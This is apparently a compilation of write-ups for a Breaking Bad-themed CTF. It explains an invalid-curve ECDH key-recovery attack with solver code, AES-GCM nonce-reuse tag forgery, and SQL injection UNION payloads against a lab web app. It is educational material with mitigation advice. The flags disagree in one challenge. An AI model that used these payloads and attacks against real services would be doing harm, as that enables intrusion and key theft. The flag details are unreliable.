Overview
| Challenge | Difficulty | Points | Category | Flag |
|---|---|---|---|---|
| Breaking Bad Broadcast | Easy | 200 | crypto | CYS{h313nh3rg_bl3_sky_br0adcast} |
| Corelight Museum Archive | Hard | 500 | Reverse Engineering / Steganography/ Cryptography | CYS{restoration_record_0217} |
| CurveExchange | Hard | 500 | Crypto | CYS{dynamic} |
| ECHO Intercept | Medium | 300 | Crypto | CYS{d5f69cd87d635c915132} |
| Encrypt Twice For Thrice The Fun | Hard | 500 | Cryptography | CYS{dynamic} |
| Heisenberg's Forgotten Lab | Hard | 500 | Web | CYS{B17_the_lab_remembers} |
| Heisenberg's Last Cook | Hard | 500 | forensics | CYS{violet_ledger_seventeen_unwound} |
| Heisenberg's Recipe | Medium | 300 | Crypto/Reverse Engineering | CYS{99.6_p3rc3nt_pur3_meth_lfsr_c4t4lyst} |
| Heisenberg's Vault | Hard | Web, Cryptography | FLAG{heisenberg_was_not_the_only_one_breaking_bad} | |
| Better Call Back | Hard | 500 | Web | CYS{C4LLB4CKS_D0NT_PR0V3_1D3NT1TY} |
| HOLA AMIGOS | Hard | 500 | Reverse Engineering | CYS{you_godamn_wright!} |
| Los Pollos Employee Vault | Hard | 500 | Web/SQLi | CYS{Dynamic} |
| Los Stegos Hermanos | Medium | 300 | Steganography | CYS{W@1t3r_w0ul0_ch3ck_8he_8u@nt1$@t10n_t@813} |
| OffRecord | Medium | 300 | Stego/Crypto | CYS{BEST_QUALITY_VACUUM_IS_KEY_42} |
| Project Mirage | Medium | 300 | Web | CYS{Dynamic} |
| Project To'hajiilee | Easy | 200 | Steganography | CYS{34_59_20_106_36_52_custom_l5b_3ncrypt10n_m4ster} |
| Residual | Hard | 500 | Reverse Engineering | CYS{i_am_the_one_who_knocks} |
| Reverse Image Trail — Episode 3 | Easy | 200 | OSINT/Web | CTF{tw1st3rs_n0t_p0ll0s} |
| Say My Name | Medium | 300 | Misc | CYS{Y0UR3_G0DD4MN_R1GHT_ABQKQF!} |
| Signal Lost | Hard | 500 | Steganography | CYS{dynamic_flag} |
| The Archivist's Last Secret | Hard | 500 | Steganography | CYS{1_@m_iN_+h3_3mp1r3_8u$in388} |
| The Blue Signal | Easy | 200 | OSINT | CYS{11AM_35.1381_-106.5156_00BFFF} |
| The Broken Formula | Medium | 300 | Cryptography / Steganography | CYS{W@1t$_d3@D_dR0P_pR0t0c01_c0mpr0m1$3d_8y_J3$$3} |
| The Evidence | Medium | 300 | Steganography/Forensics, Cryptography | CYS{BlU3_G0ld3n_C4sh} |
| The Safe That Was Never the Point | Hard | 500 | Cryptography | CYS{y0uR_$h@M1r_$ecR3ts_aR3_s@f3_w1th_Me_uNd3r_tHr8_0f_d1sB@rM3nt} |
| The Same Wheel, Twice Turned | Hard | 500 | Cryptography | CYS{tH1$_3cd$A_1S_b3tTeR_tH@n_h3is3n83rGs_b1Ue_Pr0DuCt} |
| Blindside | Medium | 300 | Forensics / Network + Cryptography + Steganography | CYS{s4y_my_n4m3_h315enb3rg} |
| The Blackwood Manor Case File | Medium | 300 | Web/Applied Cryptography | CYS{alg_confusion_ashworth_forged_the_seal} |
| Tio's Bell | Hard | 500 | Reverse Engineering | CYS{ekrfcozsmqktfpbmtcyq} |
| VENONA | Easy | 200 | Crypto/Steg | CYS{V3N0N4_CR4CK5_TH3_BLU3_M3TH_C0D3} |
| Blue Noise | Easy | 200 | Forensics / Steganography | CYS{BLU3_H1D35_M0R3_TH4N_C0L0R} |
| Blue Sky Dead Drop v2 | Hard | 500 | Forensics / Network (DNS exfiltration) + Crypto + Reversing | CYS{c4rb0n_c0py_dr0ps_d0nt_c0unt} |
| Blue Sky Telemetry | Easy | 200 | Steganography/Reverse Engineering | CTF{h3is3nb3rg_c00k_t3l3m3try_99_1} |
| BLUEprint | Hard | 500 | Web Exploitation | CYS{dynamic_flag} |
| Breaking Measures | Hard | 500 | Forensics | CYS{no_m0r3_ha1f_m3a5ur3s} |
Breaking Bad Broadcast
1. Extract the Challenge Files
First, extract the provided Operation_Kingpin.zip archive:
1
unzip Operation_Kingpin.zip
The extracted directory contains:
README.txtmadrigal_vault.zipburner_phone.txt
2. Read the Challenge Instructions
Read the contents of README.txt:
1
cat README.txt
The README provides the instructions and hints required to proceed with the challenge.
3. Decode the Burner Phone Message
The burner_phone.txt file contains a Base64-encoded message.
1
cat burner_phone.txt
The encoded value can be decoded using a Base64 decoder. The decoded value is:
1
LOS-POLLOS-HERMANOS-99PERCENT
This recovered value is used as the password for the encrypted archive.
4. Extract the Encrypted Madrigal Vault
Use 7z to extract the encrypted archive:
1
7z x madrigal_vault.zip
When prompted for the password, enter:
1
LOS-POLLOS-HERMANOS-99PERCENT
The archive is successfully extracted.
5. Inspect the Extracted Data
Navigate into the extracted directory:
1
2
cd madrigal_vault
ls
Inspect the recovered data-drop files:
1
2
3
4
5
6
cat drop_albuquerque.dat
cat drop_albuquerque.pub
cat drop_elpaso.pub
cat drop_elpaso.pub
cat drop_houston.pub
cat drop_houston.pub
The files contain large hexadecimal values required for the next stage.
6. Run the Solver
Run the provided solver:
1
python3 solver.py
The solver processes the recovered values and applies the required mathematical reconstruction, including the Chinese Remainder Theorem, to recover the hidden flag.
7. Flag
The recovered flag is:
1
CYS{h313nh3rg_bl3_sky_br0adcast}
Conclusion
The challenge was solved through the following sequence:
ZIP Extraction → README Analysis → Base64 Decoding → Password Recovery → Encrypted Archive Extraction → Data-Drop Analysis → Solver Execution → Flag Recovery
Flag
CYS{h313nh3rg_bl3_sky_br0adcast} Corelight Museum Archive
Corelight Museum Archive
Author: Sagnik
This challenge is a combination of steganography, PNG file analysis, reverse engineering, and cryptography.
We are given a single PNG image which appears to be an old archival photograph. The image contains multiple independent artifacts. We need to recover three clues from the image, find the encrypted payload hidden in the PNG, and then reverse engineer an appended executable to understand how the clues are turned into the encryption key.
The overall solve path is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PNG Image
|
+--> Metadata
|
+--> LSB steganography
|
+--> Visual clue
|
+--> Custom PNG chunk
|
+--> Appended ELF
|
v
Reverse engineering
|
v
FNV-1a key derivation
|
v
ChaCha20
|
v
FLAG
Firstly, inspect the image metadata
The challenge description says:
“As with every restoration, begin by identifying the creator.”
This strongly suggests checking the image metadata.
We can use:
1
exiftool archive.png
Among the PNG metadata, the Artist field contains:
1
see_hidden_notes
This is not a normal artist name and is clearly intended as a clue.
So our first recovered value is:
1
EXIF = see_hidden_notes
The metadata is therefore one of the inputs to the later key derivation.
Next, inspect the image for hidden data
The image also contains information hidden using LSB steganography.
A tool such as zsteg can be used to inspect the different bit planes:
1
zsteg archive.png
The relevant information is hidden in the least significant bits of the image.
Extracting the embedded message gives:
1
beyond_last_pixel
Therefore our second clue is:
1
LSB = beyond_last_pixel
The important point is that this message is not visible when the PNG is simply opened normally.
Inspect the photograph itself
The challenge description also says that the archive is self-contained and that we should begin by identifying the creator. After checking the metadata and hidden data, we should also inspect the photograph itself.
A visual reference is present in the image:
1
REF-0217
This gives us the third clue:
1
VIS = REF-0217
At this point we have:
1
2
3
EXIF = see_hidden_notes
LSB = beyond_last_pixel
VIS = REF-0217
However, we still need to determine how these values are used.
Inspect the PNG structure
A PNG consists of a sequence of chunks, so we should inspect the actual file structure rather than treating it only as an image.
Using:
1
pngcheck -v archive.png
reveals an unusual custom chunk:
1
2
chunk coRe at offset 0x382464, length 29
unknown private, ancillary, safe-to-copy chunk
The coRe chunk is suspicious because it is not one of the normal PNG chunks.
A PNG chunk has the structure:
1
2
3
4
Length 4 bytes
Type 4 bytes
Data N bytes
CRC 4 bytes
The reported offset points to the beginning of the length field. Therefore, the actual chunk data begins 8 bytes after the reported offset.
The chunk contains 29 bytes of data, which is the encrypted payload.
We can extract it with:
1
dd if=archive.png of=core.bin bs=1 skip=3679340 count=29
Then inspect the result:
1
xxd core.bin
The output is binary data and does not resemble plaintext.
This tells us that we still need to recover the encryption method and key.
Check for data after the PNG
pngcheck also reports:
1
additional data after IEND chunk
This is another important clue.
A valid PNG normally ends at its IEND chunk. If there is additional data after IEND, something else has been appended to the file.
We can use:
1
binwalk archive.png
This identifies an ELF executable after the PNG.
The ELF begins at:
1
3679381
We can extract it using:
1
dd if=archive.png of=archive_encoder bs=1 skip=3679381
Then verify it:
1
file archive_encoder
It is a Linux x86-64 ELF executable.
Make it executable if desired:
1
chmod +x archive_encoder
The appended executable is effectively the missing restoration software referenced by the challenge.
Reverse engineer the executable
We can load archive_encoder into Ghidra.
We can also start with:
1
strings -a archive_encoder
Some useful strings include:
1
2
3
4
5
6
Corelight Restoration Encoder
[record] assembling capture record from scene-tag, hidden-note, visual-ref
[record] record layout: EXIF:<scene-tag>|LSB:<hidden-note>|VIS:<visual-ref>
[signature] deriving archive signature from capture record
[transform] preparing archive transform state
[protect] applying payload protection
The most important string is:
1
EXIF:<scene-tag>|LSB:<hidden-note>|VIS:<visual-ref>
This tells us exactly how the three clues are combined.
Using the values recovered earlier, the record becomes:
1
EXIF:see_hidden_notes|LSB:beyond_last_pixel|VIS:REF-0217
The order and separators are important.
Identify the hash function
The encoder contains a function that initializes a 32-bit value with:
1
0x811C9DC5
and repeatedly XORs each byte before multiplying by:
1
0x01000193
These are the standard constants for FNV-1a.
The equivalent Python implementation is:
1
2
3
4
5
6
7
8
def fnv1a32(data):
h = 0x811C9DC5
for b in data:
h ^= b
h = (h * 0x01000193) & 0xFFFFFFFF
return h
The first hash is therefore:
1
2
3
H1 = FNV-1a32(
"EXIF:see_hidden_notes|LSB:beyond_last_pixel|VIS:REF-0217"
)
The encoder then hashes three calibration strings:
1
2
3
CHUNK_A
CHUNK_B
CHUNK_C
and chains them with XOR:
1
2
3
4
5
6
7
H1 = FNV1a32(record)
H2 = FNV1a32("CHUNK_A") XOR H1
H3 = FNV1a32("CHUNK_B") XOR H2
H4 = FNV1a32("CHUNK_C") XOR H3
These four 32-bit values form the archive signature.
Expand the signature into the key
The executable then expands the four 32-bit signature values into a 32-byte key.
The relevant logic is equivalent to:
1
2
3
4
5
6
7
8
for (int i = 0; i < 8; i++) {
uint32_t shift = (i % 4) * 8;
key[i] = (sig[0] >> shift) & 0xff;
key[i + 8] = (sig[1] >> shift) & 0xff;
key[i + 16] = (sig[2] >> shift) & 0xff;
key[i + 24] = (sig[3] >> shift) & 0xff;
}
So each signature value contributes eight bytes to the final key, with its four little-endian bytes repeated twice.
The resulting key can be reproduced from the four signature values rather than guessed.
Identify the encryption algorithm
The executable contains a custom implementation of ChaCha20.
The initialization constants are:
1
2
3
4
0x61707865
0x3320646e
0x79622d32
0x6b206574
These correspond to:
1
expand 32-byte k
which is the standard ChaCha20 constant.
The quarter-round also uses the standard ChaCha20 rotations:
1
2
3
4
16
12
8
7
Therefore the payload is protected using:
1
ChaCha20
The parameters recovered from the executable are:
1
2
3
Cipher: ChaCha20
Nonce: 000000000000000000000000
Counter: 1
The nonce is 12 zero bytes and the initial counter is 1.
Decrypt the coRe payload
We now have everything needed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
EXIF clue
+
LSB clue
+
visual reference
|
v
capture record
|
v
FNV-1a + chained XOR
|
v
32-byte key
|
v
ChaCha20
|
v
coRe ciphertext
|
v
plaintext
The repository also contains a decryption script that reproduces the recovered algorithm.
The important part is:
1
2
3
4
5
6
7
8
9
10
key = derive_key()
cipher = ChaCha20.new(
key=key,
nonce=b"\x00" * 12
)
cipher.seek(64)
plaintext = cipher.decrypt(ciphertext)
The seek(64) advances to counter 1 because one ChaCha20 block is 64 bytes.
Running the decryption produces:
1
CYS{restoration_record_0217}
Complete solve chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
archive.png
|
+---------------+---------------+
| | |
v v v
EXIF RGB LSB Photograph
| | |
v v v
see_hidden_notes beyond_last_pixel REF-0217
| | |
+---------------+---------------+
|
v
EXIF:see_hidden_notes|LSB:beyond_last_pixel|VIS:REF-0217
|
v
FNV-1a
|
v
CHUNK_A / CHUNK_B / CHUNK_C
|
v
4 x 32-bit values
|
v
32-byte key
|
v
ChaCha20
|
v
coRe encrypted chunk
|
v
FLAG
There is also a second important path through the file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
archive.png
|
+--> PNG image
|
+--> coRe chunk
| |
| +--> encrypted payload
|
+--> IEND
|
+--> appended ELF
|
+--> key derivation
+--> cipher implementation
The PNG provides the clues and ciphertext, while the appended executable provides the algorithm required to turn those clues into the decryption key.
Final Flag
1
CYS{restoration_record_0217}
Flag
CYS{restoration_record_0217} CurveExchange
CurveExchange
Author: htarizzs
This is a cryptography CTF challenge exploiting a classic ECDH Invalid-Curve / Small-Subgroup Attack combined with the Chinese Remainder Theorem (CRT) to fully recover the server’s private scalar.
Understanding the Setup
Connecting to the service gives us an interactive menu:
1
2
3
4
5
6
7
8
9
10
╔══════════════════════════════════════════╗
║ CURVEEXCHANGE KEY AGREEMENT ║
╚══════════════════════════════════════════╝
[1] View curve parameters
[2] Request server public key
[3] Submit client public point
[4] Derive shared secret (key confirmation)
[5] Get encrypted flag
[6] Exit
Selecting option [1] reveals the curve parameters for a custom 72-bit elliptic curve over a prime field:
1
2
3
4
5
6
p = 3541774862152233910451
a = 3541774862152233910448 (= -3 mod p)
b = 5
G.x = 948593498517026279058
G.y = 1065975613846311390974
order = 3541774862209346234424
And option [5] gives us the encrypted flag (AES-256-GCM), along with the hint that the key is derived as:
1
2
3
4
5
6
key = HKDF-SHA256(
ikm = server_private_scalar (big-endian, 17 bytes),
salt = b"ecdh-challenge-v1",
info = b"flag-encryption-key",
len = 32
)
So to decrypt the flag, we need to recover the server’s private scalar d.
Reading the Source Code
The challenge provides server.py. The critical insight is buried in the comments of _recv_client_point:
1
2
3
4
5
# NOTE: We intentionally do NOT validate that the point lies on the
# curve y^2 = x^3 + ax + b (mod p). This preserves compatibility
# with clients that may transmit points using alternative parameter
# sets or compressed representations.
self.client_point = (x, y)
The server only checks that the coordinates are in range [0, p) — it never verifies that the submitted point actually satisfies y^2 = x^3 + ax + b (mod p).
Meanwhile, the point arithmetic in _point_add and _scalar_mult uses only the coefficient a (not b) in its formulas:
1
2
3
4
5
6
# Point doubling:
lam = (3 * x1 * x1 + a) * pow(2 * y1, -1, p) % p
# Point addition:
lam = (y2 - y1) * pow(x2 - x1, -1, p) % p
x3 = (lam * lam - x1 - x2) % p
y3 = (lam * (x1 - x3) - y1) % p
This is the fundamental property of the Short Weierstrass addition law — b only determines which points lie on the curve; it plays no role in the actual arithmetic. This is the root cause of the vulnerability.
The Vulnerability: Invalid-Curve Attack
Since the server:
- Does not validate that submitted points lie on the intended curve, and
- Computes
S = d x ClientPointusing formulas that only care aboutaandp,
…we can submit a point P that lies on a different curve y^2 = x^3 + ax + b' (same a, same p, but a different constant b'). The server will happily compute S = d x P using the same formulas, producing a valid result on the invalid curve E'.
Why Does This Help?
If we pick b' such that the curve E' has an order n' with small prime factors, we can find points of small order on E'. Suppose P has order r on E'. Then:
1
d x P = (d mod r) x P
The server’s computation of d x P only reveals d mod r. But crucially, the server provides a key confirmation oracle: it encrypts the known plaintext ECDH_KEY_CONFIRMATION_OK with a key derived from the shared secret S. We can brute-force all r possible values of k in [1, r), compute k x P, derive the trial key, and attempt decryption. When decryption succeeds, we learn d ≡ k (mod r).
The Attack: Step by Step
Step 1 — Find Invalid Curves with Small-Order Points
We search over different values of b' and compute the group order of y^2 = x^3 + ax + b' over F_p using Baby-step Giant-step (BSGS). For each candidate order n', we factor it and look for small prime factors r (roughly r < 5000).
Some useful invalid curves discovered:
| b’ | Small prime r |
|---|---|
| 6 | 3, 5, 11 |
| 7 | 41, 487 |
| 10 | 163, 661, 2029 |
| 11 | 619 |
| 12 | 29, 191 |
| 14 | 43 |
Step 2 — Find a Point of Order r
For each small prime r dividing n', we pick a random point P_rand on the invalid curve and compute:
1
Pt = scalar_mult(n_prime // r, P_rand, a, p)
This kills off all other prime-order components, leaving a point Pt of order exactly r.
Step 3 — Oracle Query
We submit Pt to the server (option [3]) and immediately request key confirmation (option [4]). The server responds with:
1
2
3
nonce = <random 12 bytes>
ciphertext = <AES-GCM encrypted "ECDH_KEY_CONFIRMATION_OK">
tag = <16-byte auth tag>
Internally, the server computed S = d x Pt = (d mod r) x Pt.
Step 4 — Brute-Force d mod r
We try every k from 1 to r - 1:
1
2
3
4
5
6
7
8
9
10
11
for k in range(1, r):
kP = scalar_mult(k, Pt, a, p)
trial_key = hkdf_sha256(
kP[0].to_bytes(...) + kP[1].to_bytes(...),
salt=b"ecdh-session-v1",
info=b"aes-key-confirmation"
)
pt = aes_gcm_decrypt(trial_key, conf_nonce, conf_ct, conf_tag)
if pt == b"ECDH_KEY_CONFIRMATION_OK":
d_mod_r = k
break
Since r is small (< 5000), this brute-force is trivial.
Step 5 — Chinese Remainder Theorem
After collecting enough congruences d ≡ ki (mod ri) across multiple invalid curves, we apply the Chinese Remainder Theorem. Once the product of all ri exceeds d, the CRT gives us the unique value of d:
1
2
3
4
5
6
7
d ≡ k1 (mod r1)
d ≡ k2 (mod r2)
...
d ≡ k12 (mod r12)
─────────────────────────────────────────────────────────────────
Product = 3 x 5 x 11 x 29 x 41 x 43 x 163 x 191 x 487 x 619 x 661 x 2029 ≈ 2^76
d ≈ 2^68 --> Product > d [OK]
1
2
3
4
5
6
M = product_of_all_r
d_recovered = 0
for (a_i, m_i) in remainders:
Mi = M // m_i
yi = pow(Mi, -1, m_i) # modular inverse
d_recovered = (d_recovered + a_i * Mi * yi) % M
Step 6 — Decrypt the Flag
With d in hand, we derive the flag key and decrypt:
1
2
3
4
5
6
d_bytes = d_recovered.to_bytes(17, 'big')
flag_key = hkdf_sha256(d_bytes, 32,
salt=b"ecdh-challenge-v1",
info=b"flag-encryption-key")
flag = aes_gcm_decrypt(flag_key, flag_nonce, flag_ct, flag_tag)
print(flag.decode())
Running the Solver
1
python3 solve.py <HOST> 9999
Sample output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[*] Connecting to 127.0.0.1:9999...
[*] Retrieving curve parameters...
p = 3541774862152233910451 (72 bits)
a = 3541774862152233910448
b = 5
order = 3541774862209346234424
[*] Retrieving encrypted flag...
[*] Searching for invalid-curve points with small-order subgroups...
[OK] r= 3 d mod 3 = ? product=2^2
[OK] r= 5 d mod 5 = ? product=2^4
[OK] r= 11 d mod 11 = ? product=2^6
[OK] r= 29 d mod 29 = ? product=2^10
...
[OK] r= 2029 d mod 2029 = ? product=2^76
[*] Collected 12 congruences, product ~= 2^76
[*] Applying Chinese Remainder Theorem...
Recovered d = 361623542354585744737
[*] Deriving flag encryption key...
[*] Decrypting flag...
==================================================
FLAG: CYS{dynamic}
==================================================
Why This Works (TL;DR)
| Property | Detail |
|---|---|
| Missing validation | Server accepts any (x, y) without checking y^2 = x^3 + ax + b |
b-free arithmetic | Short Weierstrass addition formulas don’t use b, so they work on any curve with the same a and p |
| Small-subgroup oracle | A point of order r leaks d mod r via at most r key-confirmation queries |
| CRT reconstruction | Enough small-modulus residues uniquely determine d when their product exceeds d |
The attack is the classic ECDH Invalid-Curve Attack described by Antipa et al. (2003) and is the reason standards like NIST SP 800-56A mandate strict public-key validation before performing any scalar multiplication.
Flag
CYS{dynamic} ECHO Intercept
ECHO Intercept
Author: Divya Dharshini S G
This is a cryptography-based CTF challenge involving AES-128-GCM nonce reuse.
We are provided with approximately 6000 encrypted packets. Each packet contains a packet ID, nonce, ciphertext, and authentication tag.
The important vulnerability is that exactly one 12-byte nonce is reused by two packets. One of these packets contains a known heartbeat message:
1
USR PING_OK_1234
The objective is to use the nonce reuse vulnerability to forge a valid authenticated packet containing:
1
ADM OPEN_VAULT01
which causes the server to return the flag.
Finding the Reused Nonce
Since the nonce is 12 bytes, we can first analyze the traffic and count the frequency of each nonce rather than attempting to decrypt all 6000 packets.
The challenge guarantees that there are 5999 unique nonces, meaning exactly one nonce appears twice.
The two packets using the same nonce are separated in the shuffled log, so they may not be adjacent.
Once the duplicated nonce is identified, we have our two ciphertexts encrypted using the same AES-GCM nonce.
Recovering the Keystream
AES-GCM uses counter mode for encryption. Reusing a nonce causes the same CTR keystream to be used for both packets.
For two ciphertexts:
1
2
3
C1 = P1 XOR S
C2 = P2 XOR S
where S is the shared keystream.
One of the colliding packets is the known heartbeat:
1
USR PING_OK_1234
It is exactly 16 bytes long.
Therefore, we can recover the keystream using:
1
S = C_heartbeat XOR P_heartbeat
We can then XOR this keystream with the ciphertext of the second packet to recover its plaintext.
Recovering the GCM Authentication Key
Recovering the CTR keystream is not enough because AES-GCM also authenticates the ciphertext.
The GCM authentication subkey is:
1
H = AES_K(0^128)
Since both packets use the same nonce and associated data, their authentication tags use the same AES-generated authentication mask.
By XORing the authentication equations for the two packets, the common authentication mask cancels out.
For the fixed one-block packet structure used in this challenge, the resulting equation contains H².
Because squaring is a bijection in GF(2^128), we can recover H using the field square-root/Frobenius operation.
The required finite-field operations are implemented in gf128.py.
Recovering the Authentication Mask
Once H is recovered, we can evaluate GHASH for one of the known colliding packets.
Using the corresponding authentication tag, we can then recover the authentication mask associated with the reused nonce.
This gives us the information required to generate a valid GCM authentication tag for a new ciphertext.
Forging the Vault Packet
The target plaintext is:
1
ADM OPEN_VAULT01
We use the recovered CTR keystream to encrypt the target plaintext.
The recovered GHASH authentication information is then used to calculate a valid authentication tag for the forged ciphertext.
The resulting packet is submitted to:
1
POST /vault
The server verifies the authentication tag before decrypting the packet.
If the packet is valid, the server decrypts it and checks that:
1
2
role = ADM
body = OPEN_VAULT01
When both checks succeed, the server returns the flag.
Important Observation
This challenge cannot be solved using XOR alone.
Nonce reuse allows us to recover the CTR keystream and therefore decrypt or encrypt messages, but a forged packet must still contain a valid GCM authentication tag.
Therefore, the complete solution requires understanding both:
- AES-GCM’s CTR encryption
- GCM’s GHASH authentication
The complete attack chain is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
6000 encrypted packets
↓
Find repeated nonce
↓
Identify known heartbeat packet
↓
Recover CTR keystream
↓
Recover GCM authentication subkey H
↓
Recover authentication mask
↓
Encrypt ADM OPEN_VAULT01
↓
Generate valid GCM tag
↓
POST /vault
↓
Flag
Flag
1
CYS{d5f69cd87d635c915132}
Flag
CYS{d5f69cd87d635c915132} Encrypt Twice For Thrice The Fun
Encrypt Twice For Thrice The Fun
Author: Utkarsh Raj
Challenge Description
Players are given a small cryptographic service with two available functions. The service does not reveal the algorithm or key directly.
Function 1 accepts a plaintext and a user-supplied key, then returns a ciphertext.
Function 2 accepts a user-supplied key and returns a ciphertext derived from a hidden flag.
The player has only two total function queries, so the outputs must be analyzed carefully.
There are no dedicated cryptographic clue files. The challenge is intentionally blind, and the solution depends on studying the behavior of the service and researching the relevant cryptographic properties.
1. Observe Function 2 First
The intended order is Function 2 → Function 1.
Function 2 accepts:
1
Key
and returns:
1
Ciphertext
The operation is:
1
2
3
4
5
6
7
8
9
10
FLAG
|
v
3DES
|
v
XOR with hidden IV
|
v
Ciphertext
Therefore:
1
C2 = E(FLAG, K) XOR IV
The same hidden IV is used by Function 1.
The challenge uses the fixed weak key:
1
E0E0E0E0F1F1F1F1
Use this key for Function 2 and record the resulting ciphertext.
2. Feed Function 2 Into Function 1
Now use the Function 2 ciphertext itself as the plaintext input to Function 1.
Function 1 accepts:
1
2
Plaintext
Key
and performs:
1
2
3
4
5
6
7
8
9
Plaintext
XOR
hidden IV
|
v
3DES
|
v
Ciphertext
Therefore:
1
C1 = E(P XOR IV, K)
Set:
1
P = C2
where C2 is the ciphertext obtained from Function 2.
Then:
1
C1 = E(C2 XOR IV, K)
From Function 2:
1
C2 = E(FLAG, K) XOR IV
Therefore:
1
C2 XOR IV = E(FLAG, K)
So Function 1 produces:
1
C1 = E(E(FLAG, K), K)
This is the key relationship between the two functions.
3. Analyze the Repeated-Key Construction
The service uses EDE-style 3DES:
1
E_K(D_K(E_K(P)))
with:
1
K1 = K2 = K3 = K
The middle decryption cancels the first encryption:
1
D_K(E_K(P)) = P
so the construction reduces to:
1
E_K(P)
In other words, the repeated-key 3DES construction behaves as a single DES encryption with the supplied key.
4. Investigate the DES Weak Key
The challenge uses the fixed weak DES key:
1
E0E0E0E0F1F1F1F1
The relevant property is that encryption with this weak key is self-inverse:
1
E_K(E_K(P)) = P
Applying that property to the result of Function 1 gives:
1
C1 = E(E(FLAG, K), K)
and therefore:
1
C1 = FLAG
The Function 1 ciphertext is consequently the recovered flag.
5. Complete Recovery Process
The intended two-query sequence is:
Step 1 — Function 2
Use:
1
2
Key:
E0E0E0E0F1F1F1F1
Record:
1
C2 = Function 2 ciphertext
Step 2 — Function 1
Use the Function 2 ciphertext as the plaintext:
1
2
Plaintext:
<C2>
and use:
1
2
Key:
E0E0E0E0F1F1F1F1
The resulting Function 1 ciphertext is:
1
C1 = E(C2 XOR IV, K)
Since:
1
C2 XOR IV = E(FLAG, K)
we get:
1
C1 = E(E(FLAG, K), K)
Using the weak-key property:
1
C1 = FLAG
6. Offline Recovery
The important part is that the player does not need to recover the hidden IV separately.
The two functions are deliberately chained together:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Function 2
|
v
E(FLAG, K) XOR IV
|
v
Function 1
|
v
E((E(FLAG, K) XOR IV) XOR IV, K)
|
v
E(E(FLAG, K), K)
|
v
FLAG
The hidden value cancels naturally when the Function 2 ciphertext is passed into Function 1.
7. Final Flag
The recovered Function 1 ciphertext is the final CTF flag:
1
CYS{th3_l@st_b@tCh_w@s_d1fF3r3nT_b@tch!}
Submit it through the challenge website.
8. Summary
| Stage | Action |
|---|---|
| Function 2 | Submit E0E0E0E0F1F1F1F1 and obtain C2 |
| Function 1 | Use C2 as the plaintext with the same key |
| Analyze construction | Recognize repeated-key 3DES as single DES |
| Identify property | Recognize the weak key’s self-inverse behavior |
| Recover flag | Function 1 ciphertext becomes the flag |
| Submit | Submit the recovered flag through the website |
Final Flag
1
CYS{dynamic_flag}
Flag
CYS{dynamic} Heisenberg's Forgotten Lab
Heisenberg’s Forgotten Lab
Challenge Description
An abandoned digital laboratory has resurfaced. Most systems were supposedly shut down years ago, but some archived laboratory records remain accessible.
The objective is to investigate the forgotten laboratory system, discover the hidden information, obtain administrator access, and recover the final flag.
Exploit Path
The intended solution follows this chain:
- Discover the Chemical Inventory.
- Identify the SQL Injection vulnerability.
- Enumerate the SQLite database.
- Discover the hidden
batch_recordstable. - Find the first successful Blue Crystal batch:
B-17. - Discover the hidden laboratory note.
- Use the note to determine that
B-17became the administrator password. - Authenticate as
admin. - Access the legacy terminal.
- Recover the final flag.
Vulnerability — SQL Injection
The Chemical Inventory search functionality is vulnerable to SQL Injection because user-controlled input is incorporated into the SQL query without sufficient separation between data and SQL syntax.
This allows a participant to alter the intended query and use UNION SELECT statements to retrieve information from other tables within the vulnerable SQLite database.
The vulnerable query is:
1
2
query = f"SELECT * FROM chemicals WHERE name LIKE '%{search}%'"
cursor.execute(query)
Database Enumeration
The inventory search functionality can be used to enumerate the SQLite database schema.
The discovered tables include:
chemicalsbatch_recordslab_notes
Query:
1
' UNION SELECT 1,name,sql,'x' FROM sqlite_master WHERE type='table' --
The database-enumeration result is shown in images.md as Image 01 and Image 02.
Discovering the Batch Records
The batch_records table contains archived laboratory production records.
The relevant record is:
- Batch Code:
B-17 - Compound:
Blue Crystal - Note: First successful archived batch. Moved to the old terminal.
This establishes B-17 as an important value for the next stage.
Query:
1
' UNION SELECT id,batch_code,compound,notes FROM batch_records --
The retrieved batch record is shown in images.md as Image 03.
Discovering the Password Clue
The lab_notes table contains a terminal memo.
The important message states that the old terminal still accepts the administrator account and that, after the shutdown, the password was changed to the batch code of the first successful Blue Crystal run.
The previously discovered batch record identifies that batch as:
1
B-17
Query:
1
' UNION SELECT id,title,content,'x' FROM lab_notes --
The retrieved terminal memo is shown in images.md as Image 04.
Administrator Authentication
Using the discovered credentials, authenticate through the laboratory login page.
1
2
Username: admin
Password: B-17
After successful authentication, the participant reaches the Admin Dashboard.
The dashboard contains an entry point to the legacy terminal. The dashboard screenshot is shown in images.md as Image 05.
Legacy Terminal
The legacy terminal is protected by the Flask session and cannot be accessed after logout.
Access the terminal from the authenticated Admin Dashboard to retrieve the recovery message and final flag.
Final Flag
1
CYS{B17_the_lab_remembers}
The recovered terminal message and final flag are shown in images.md as Image 06.
Vulnerability Mitigation
The SQL Injection vulnerability can be prevented by using parameterized SQL queries instead of concatenating user input directly into the SQL statement.
Unsafe approach:
1
2
query = f"SELECT * FROM chemicals WHERE name LIKE '%{search}%'"
cursor.execute(query)
Safer approach:
1
2
3
4
cursor.execute(
"SELECT * FROM chemicals WHERE name LIKE ?",
(f"%{search}%",)
)
With parameterized queries, the search value is treated as data rather than executable SQL syntax. This prevents the user from altering the structure of the SQL statement.
Challenge Design
- Theme: Breaking Bad / Heisenberg
- Core Vulnerability: SQL Injection
- Database: SQLite
- Authentication: Flask session-based authentication
- Difficulty: Easy / Medium
Screenshots
The following screenshots are embedded directly in this Markdown file so the writeup can be submitted as a single document.
Image 01
Image 02
Image 03
Image 04
Image 05
Image 06
Flag
CYS{B17_the_lab_remembers} Heisenberg's Last Cook
Heisenberg’s Last Cook
Author:
This is a forensic/cryptographic CTF challenge based on reconstructing an accepted session from memory and network evidence, recovering committed integer values, simplifying the verifier’s BN254 proof algebra, and using the recovered entry to unlock the final encrypted artifact.
The archive contains:
1
2
3
4
5
service/heisenberg
evidence/memory.raw
evidence/cook.pcapng
evidence/superlab.E01
evidence/final.enc
The README specifies the flag format:
1
CYS{...}
For the Recovered Accepted Session:
The accepted session was identified as:
1
2
3
4
